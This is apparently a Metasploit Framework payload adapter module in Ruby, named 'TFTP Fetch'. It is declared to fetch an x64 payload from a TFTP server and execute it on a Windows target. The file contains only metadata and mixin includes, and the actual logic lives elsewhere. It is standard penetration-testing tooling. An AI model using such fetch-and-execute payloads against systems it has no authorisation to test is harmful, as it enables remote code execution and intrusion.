26 lines
673 B
Ruby
26 lines
673 B
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
module MetasploitModule
|
|
include Msf::Payload::Adapter::Fetch::TFTP
|
|
include Msf::Payload::Adapter::Fetch::WindowsOptions
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'TFTP Fetch',
|
|
'Description' => 'Fetch and execute an x64 payload from a TFTP server.',
|
|
'Author' => 'Brendan Watters',
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'License' => MSF_LICENSE,
|
|
'AdaptedArch' => ARCH_X64,
|
|
'AdaptedPlatform' => 'win'
|
|
)
|
|
)
|
|
end
|
|
end
|